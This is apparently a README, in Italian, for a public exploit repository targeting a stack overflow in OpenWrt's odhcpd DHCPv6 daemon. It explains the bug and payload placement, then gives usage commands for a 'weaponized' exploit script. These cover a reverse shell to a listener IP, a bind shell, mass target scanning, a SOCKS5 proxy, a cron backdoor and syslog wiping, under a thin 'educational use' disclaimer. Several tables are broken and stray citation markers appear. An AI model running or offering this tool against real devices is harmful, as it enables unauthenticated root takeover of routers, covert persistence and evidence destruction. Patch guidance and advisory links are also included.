
CVE-2026-53921 – Stack Overflow in odhcpd (CVSS 9.8) 🛡️ Write-Up dettagliato e completo della vulnerabilità e Verifier & Multi-exploit per RCE DHCPv6 su OpenWrt. Overflow dual-vettore (IA_NA/IA_PD) con shellcode MIPS/ARM, catene ROP, proxy SOCKS5, persistenza, pulizia dei log e scansione di massa. Usalo in modo etico, resta legale. 🔒

⚠️ Solo per test educativi e autorizzati. L'uso non autorizzato è illegale.
CVE-2026-53921 è un overflow del buffer di stack critico nel demone odhcpd di OpenWrt, il server DHCPv6/DHCPv4/RA predefinito.
La vulnerabilità risiede nel codice di gestione dei messaggi DHCPv6 di odhcpd, in particolare nelle funzioni build_ia() e dhcpv6_ia_handle_IAs().
Il bug si verifica durante la serializzazione (assemblaggio) dei pacchetti di risposta DHCPv6. Quando odhcpd risponde alle richieste dei client, costruisce la risposta in un buffer di stack a dimensione fissa di 512 byte senza un adeguato controllo dei limiti.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un attaccante invia una richiesta DHCPv6 (Request o Solicit) con:
Ogni opzione consuma spazio nello stack mentre odhcpd costruisce la propria risposta. I dati accumulati superano 512 byte, causando l'overflow.
Vettore Attivazione Punto di Overflow
Sito 1 5 opzioni IA_NA build_ia() per IA_NA
con indirizzi IPv6
build_ia() per IA_PDLa causa principale è identica, ma l'overflow si verifica in percorsi di codice diversi, rendendo entrambi i vettori ugualmente sfruttabili.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
L'attaccante sovrascrive l'indirizzo di ritorno salvato per puntare al proprio shellcode in memoria.
Requisito Descrizione
Accesso alla rete L'attaccante deve avere connettività IPv6 verso il bersaglio
Autenticazione Nessuna -- attacco non autenticato
Privilegi odhcpd viene eseguito come root,
quindi l'RCE garantisce il controllo
completo del sistema
In un exploit reale, lo shellcode dell'attaccante viene inserito nei campi degli indirizzi IPv6 IAAddress (16 byte per IA_NA). I pacchetti appositamente costruiti racchiudono lo shellcode, la NOP sled e l'indirizzo di ritorno in questi campi.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Versione Stato RCE Possibile?
odhcpd < e432dd6 Vulnerabile ✅ Sì OpenWrt < 24.10.8 Vulnerabile ✅ Sì OpenWrt < 25.12.5 Vulnerabile ✅ Sì OpenWrt 24.10.8+ Corretto ❌ No OpenWrt 25.12.5+ Corretto ❌ No odhcpd master + e432dd6 Corretto ❌ No
Questa vulnerabilità è particolarmente pericolosa perché:
odhcpd è abilitato per impostazione predefinita nelle installazioni OpenWrt.| Componente | Versioni vulnerabili | Corretta in |
|---|---|---|
odhcpd (ramo master) | prima del commit e432dd6 | e432dd6 o successivi |
| Release di OpenWrt | < 24.10.8 < 25.12.5 |
Questo repository fornisce due script indipendenti:
| Script | Scopo | Codice exploit | Sicurezza |
|---|---|---|---|
verifier.py | Verifica della vulnerabilità non intrusiva | ❌ No | ✅ Sicuro |
exploit.py | Exploit completo weaponizzato |
verifier.py – Verifica della Vulnerabilitàexploit.py – Exploit CompletoIA_NA (Sito 1) e IA_PD (Sito 2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argomento | Descrizione |
|---|---|
-u, --target | Indirizzo IPv6 del bersaglio (obbligatorio) |
-i, --iface | Interfaccia di rete (predefinita: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Aggiorna OpenWrt a 24.10.8 o 25.12.5 o versioni successive.
opkg update
opkg upgrade odhcpd
OpenWrt Security Advisory (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Avviso dettagliato che copre entrambi i vettori di overflow in odhcpd.
CVE-2026-53921 NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Voce ufficiale del database delle vulnerabilità NIST.
OpenWrt 24.10.8 Release Notes https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Annuncio di rilascio ufficiale per il ramo 24.10.
OpenWrt 25.12.5 Release Notes https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Annuncio di rilascio ufficiale per il ramo 25.12.
Le release 24.10.8 e 25.12.5 risolvono molteplici vulnerabilità di odhcpd oltre alla CVE-2026-53921 [citation:9]:
The Hacker News Analysis https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Analisi tecnica dettagliata della vulnerabilità e dei vettori di sfruttamento. [citation:1]
GitHub PoC Repository https://github.com/0xBlackash/CVE-2026-53921 Implementazioni proof-of-concept pubbliche e dettagli tecnici. [citation:3]
La versione 25.12.5 affronta anche vulnerabilità in altri componenti principali [citation:10]:
OpenWrt Firmware Selector https://firmware-selector.openwrt.org/ Scarica le immagini firmware corrette per il tuo dispositivo.
CISA Known Exploited Vulnerabilities Catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog Verifica se CVE-2026-53921 è stata aggiunta al catalogo KEV (al 27 luglio 2026, non elencata). [citation:1]
| 24.10.8 e 25.12.5 |
| ✅ Sì |
| ⚠️ Pericoloso |
| Argomento | Descrizione |
|---|
-u, --target | Indirizzo IPv6 del bersaglio |
-l, --list | File con elenco di bersagli |
-i, --iface | Interfaccia di rete (predefinita: eth0) |
--lhost | IP del listener (obbligatorio) |
--lport | Porta del listener (predefinita: 4444) |
--vector | site1, site2 o both (predefinito: both) |
--offset | Offset dello stack (predefinito: 512) |
--ret | Indirizzo di ritorno in esadecimale (es. 0x7ffff000) |
--arch | Forza mips o arm (rilevamento automatico se omesso) |
--payload | reverse o bind (predefinito: reverse) |
--encode | none o xor (predefinito: none) |
--proxy-host | IP del proxy SOCKS5 |
--proxy-port | Porta del proxy SOCKS5 (predefinita: 1080) |
--persistence | Installa backdoor via cron |
--clear-logs | Cancella il syslog dopo lo sfruttamento |
--scan-only | Scansiona solo i bersagli, non sfruttare |
--threads | Numero di thread per la scansione (predefinito: 5) |
--verbose | Registrazione dettagliata (verbose) |
| CVE ID | Gravità | Descrizione |
|---|
| CVE-2026-53918 | Alta | Use-after-free nel gestore IA DHCPv6 [citation:4][citation:9] |
| CVE-2026-53920 | Alta | Divulgazione di memoria dello stack tramite opzione DHCPv6 IA_NA/IA_PD troncata [citation:9] |
| CVE-2026-53922 | Media | Denial of service pre-autenticazione tramite underflow di size_t [citation:9] |
| CVE-2026-55606 | Media | Overread del buffer di stack dovuto a disallineamento di endianness nella lunghezza DUID [citation:9] |
| CVE-2026-62948 | - | Iniezione del nome host DHCPv6 che porta a XSS persistente [citation:1] |
| CVE-2026-62947 | - | Path traversal autenticato in cgi-io [citation:1] |